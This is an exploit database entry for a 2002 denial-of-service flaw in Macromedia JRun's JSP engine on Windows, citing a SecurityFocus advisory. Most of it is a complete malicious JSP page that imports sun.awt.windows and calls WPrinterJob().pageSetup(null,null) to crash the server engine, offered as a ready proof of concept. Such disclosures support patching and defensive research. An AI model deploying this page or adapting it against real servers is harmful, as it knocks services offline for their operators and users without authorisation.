Macromedia JRun 34 JSP Engine - Denial of Service

2002-06-12T00:00:00
ID EXPLOITPACK:F781529F3D1409E4511B696425B44552
Type exploitpack
Reporter Marc Schoenefeld
Modified 2002-06-12T00:00:00

Description

Macromedia JRun 34 JSP Engine - Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/4997/info

A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.

The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);

<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>

<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>

</body>
</html>